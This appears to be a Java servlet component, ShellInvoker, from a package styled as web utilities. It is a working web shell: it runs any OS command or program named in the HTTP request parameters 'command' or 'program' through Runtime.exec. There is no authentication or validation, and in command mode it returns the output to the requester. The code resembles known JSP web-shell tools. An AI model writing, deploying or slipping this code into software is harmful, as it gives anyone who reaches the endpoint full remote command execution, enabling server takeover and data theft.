package com.truthbean.jeetb.utils.web.invoker;

import com.truthbean.jeetb.utils.web.Utils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.PrintWriter;

public class ShellInvoker extends DefaultInvoker {
    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            PrintWriter out = response.getWriter();
            String type = request.getParameter("type");
            if (type.equals("command")) {
                ins.get("vs").invoke(request, response, session);
                out.println("<div style='margin:10px'><hr/>");
                out.println("<pre>");
                String command = request.getParameter("command");
                if (!Utils.isEmpty(command)) {
                    Process pro = Runtime.getRuntime().exec(command);
                    BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
                    String s = reader.readLine();
                    while (s != null) {
                        out.println(Utils.htmlEncode(Utils.getStr(s)));
                        s = reader.readLine();
                    }
                    reader.close();
                    out.println("</pre></div>");
                }
            } else {
                String program = request.getParameter("program");
                if (!Utils.isEmpty(program)) {
                    Process pro = Runtime.getRuntime().exec(program);
                    session.setAttribute(MSG, "Program Has Run Success!");
                    ins.get("vs").invoke(request, response, session);
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}